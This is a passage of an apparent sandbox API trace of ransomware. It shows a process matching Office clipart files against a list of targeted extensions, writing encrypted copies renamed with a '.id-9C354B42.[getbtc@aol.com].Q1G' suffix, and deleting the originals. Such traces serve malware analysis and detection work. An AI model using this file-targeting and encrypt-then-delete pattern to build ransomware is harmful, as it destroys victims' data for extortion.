(lpString=".pdf") returned 4 [0253.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.560] lstrlenW (lpString=".xls") returned 4 [0253.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.560] lstrlenW (lpString=".xlsx") returned 5 [0253.560] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0253.560] lstrlenW (lpString=".ppt") returned 4 [0253.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.560] lstrlenW (lpString=".zip") returned 4 [0253.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.560] lstrlenW (lpString=".rar") returned 4 [0253.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.560] lstrlenW (lpString=".bz2") returned 4 [0253.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.560] lstrlenW (lpString=".7z") returned 3 [0253.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.560] lstrlenW (lpString=".dbf") returned 4 [0253.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.560] lstrlenW (lpString=".1cd") returned 4 [0253.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.560] lstrlenW (lpString=".jpg") returned 4 [0253.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.560] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.561] lstrlenW (lpString="J0090087.WMF") returned 12 [0253.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.561] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=46936) returned 1 [0253.561] CloseHandle (hObject=0x1fc) returned 1 [0253.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 0x20 [0253.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.561] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.562] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.562] GetLastError () returned 0x0 [0253.562] ReadFile (in: hFile=0x1fc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xb758, lpOverlapped=0x0) returned 1 [0253.601] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xb760, lpOverlapped=0x0) returned 1 [0253.603] ReadFile (in: hFile=0x1fc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.603] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.603] SetEndOfFile (hFile=0x3ac) returned 1 [0253.603] CloseHandle (hObject=0x3ac) returned 1 [0253.603] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.603] SetEndOfFile (hFile=0x1fc) returned 1 [0253.606] CloseHandle (hObject=0x1fc) returned 1 [0253.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0253.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.701] lstrlenW (lpString=".doc") returned 4 [0253.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.701] lstrlenW (lpString=".docx") returned 5 [0253.701] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0253.701] lstrlenW (lpString=".pdf") returned 4 [0253.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.701] lstrlenW (lpString=".xls") returned 4 [0253.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.701] lstrlenW (lpString=".xlsx") returned 5 [0253.701] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0253.701] lstrlenW (lpString=".ppt") returned 4 [0253.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.701] lstrlenW (lpString=".zip") returned 4 [0253.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.702] lstrlenW (lpString=".rar") returned 4 [0253.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.702] lstrlenW (lpString=".bz2") returned 4 [0253.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.702] lstrlenW (lpString=".7z") returned 3 [0253.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.702] lstrlenW (lpString=".dbf") returned 4 [0253.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.702] lstrlenW (lpString=".1cd") returned 4 [0253.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.702] lstrlenW (lpString=".jpg") returned 4 [0253.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.702] lstrlenW (lpString=".doc") returned 4 [0253.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.702] lstrlenW (lpString=".docx") returned 5 [0253.702] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0253.702] lstrlenW (lpString=".pdf") returned 4 [0253.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.702] lstrlenW (lpString=".xls") returned 4 [0253.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.702] lstrlenW (lpString=".xlsx") returned 5 [0253.702] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0253.702] lstrlenW (lpString=".ppt") returned 4 [0253.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.702] lstrlenW (lpString=".zip") returned 4 [0253.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.702] lstrlenW (lpString=".rar") returned 4 [0253.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.702] lstrlenW (lpString=".bz2") returned 4 [0253.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.703] lstrlenW (lpString=".7z") returned 3 [0253.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.703] lstrlenW (lpString=".dbf") returned 4 [0253.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.703] lstrlenW (lpString=".1cd") returned 4 [0253.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0253.703] lstrlenW (lpString=".jpg") returned 4 [0253.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.703] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.703] lstrlenW (lpString="J0090781.WMF") returned 12 [0253.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0253.704] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5314) returned 1 [0253.704] CloseHandle (hObject=0x3a8) returned 1 [0253.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 0x20 [0253.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0253.704] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.704] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.705] GetLastError () returned 0x0 [0253.705] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x14c2, lpOverlapped=0x0) returned 1 [0253.729] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0253.730] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.730] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.730] SetEndOfFile (hFile=0x390) returned 1 [0253.731] CloseHandle (hObject=0x390) returned 1 [0253.731] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.731] SetEndOfFile (hFile=0x3a8) returned 1 [0253.733] CloseHandle (hObject=0x3a8) returned 1 [0253.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0253.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.906] lstrlenW (lpString=".doc") returned 4 [0253.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.906] lstrlenW (lpString=".docx") returned 5 [0253.906] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0253.906] lstrlenW (lpString=".pdf") returned 4 [0253.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.906] lstrlenW (lpString=".xls") returned 4 [0253.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.906] lstrlenW (lpString=".xlsx") returned 5 [0253.906] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0253.906] lstrlenW (lpString=".ppt") returned 4 [0253.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.906] lstrlenW (lpString=".zip") returned 4 [0253.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.906] lstrlenW (lpString=".rar") returned 4 [0253.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.906] lstrlenW (lpString=".bz2") returned 4 [0253.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.906] lstrlenW (lpString=".7z") returned 3 [0253.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.907] lstrlenW (lpString=".dbf") returned 4 [0253.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.907] lstrlenW (lpString=".1cd") returned 4 [0253.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.907] lstrlenW (lpString=".jpg") returned 4 [0253.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.907] lstrlenW (lpString=".doc") returned 4 [0253.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.907] lstrlenW (lpString=".docx") returned 5 [0253.907] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0253.907] lstrlenW (lpString=".pdf") returned 4 [0253.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.907] lstrlenW (lpString=".xls") returned 4 [0253.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.907] lstrlenW (lpString=".xlsx") returned 5 [0253.907] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0253.907] lstrlenW (lpString=".ppt") returned 4 [0253.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.907] lstrlenW (lpString=".zip") returned 4 [0253.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.907] lstrlenW (lpString=".rar") returned 4 [0253.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.907] lstrlenW (lpString=".bz2") returned 4 [0253.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.907] lstrlenW (lpString=".7z") returned 3 [0253.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.907] lstrlenW (lpString=".dbf") returned 4 [0253.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.908] lstrlenW (lpString=".1cd") returned 4 [0253.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0253.908] lstrlenW (lpString=".jpg") returned 4 [0253.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.908] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0253.908] lstrlenW (lpString="J0099150.JPG") returned 12 [0253.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0254.035] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=21914) returned 1 [0254.035] CloseHandle (hObject=0x1fc) returned 1 [0254.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 0x20 [0254.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.071] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.071] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0254.072] GetLastError () returned 0x0 [0254.072] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x559a, lpOverlapped=0x0) returned 1 [0254.081] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x55a0, lpOverlapped=0x0) returned 1 [0254.082] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.082] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.082] SetEndOfFile (hFile=0x1fc) returned 1 [0254.082] CloseHandle (hObject=0x1fc) returned 1 [0254.082] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.082] SetEndOfFile (hFile=0x390) returned 1 [0254.085] CloseHandle (hObject=0x390) returned 1 [0254.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0254.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.086] lstrlenW (lpString=".doc") returned 4 [0254.086] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.086] lstrlenW (lpString=".docx") returned 5 [0254.086] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0254.086] lstrlenW (lpString=".pdf") returned 4 [0254.086] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.086] lstrlenW (lpString=".xls") returned 4 [0254.086] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.086] lstrlenW (lpString=".xlsx") returned 5 [0254.086] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0254.086] lstrlenW (lpString=".ppt") returned 4 [0254.086] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.086] lstrlenW (lpString=".zip") returned 4 [0254.086] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.086] lstrlenW (lpString=".rar") returned 4 [0254.086] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.086] lstrlenW (lpString=".bz2") returned 4 [0254.086] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.086] lstrlenW (lpString=".7z") returned 3 [0254.086] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.086] lstrlenW (lpString=".dbf") returned 4 [0254.086] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.086] lstrlenW (lpString=".1cd") returned 4 [0254.086] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.086] lstrlenW (lpString=".jpg") returned 4 [0254.087] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.087] lstrlenW (lpString=".doc") returned 4 [0254.087] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.087] lstrlenW (lpString=".docx") returned 5 [0254.087] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0254.087] lstrlenW (lpString=".pdf") returned 4 [0254.087] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.087] lstrlenW (lpString=".xls") returned 4 [0254.087] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.087] lstrlenW (lpString=".xlsx") returned 5 [0254.087] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0254.087] lstrlenW (lpString=".ppt") returned 4 [0254.087] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.087] lstrlenW (lpString=".zip") returned 4 [0254.087] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.087] lstrlenW (lpString=".rar") returned 4 [0254.087] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.087] lstrlenW (lpString=".bz2") returned 4 [0254.087] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned 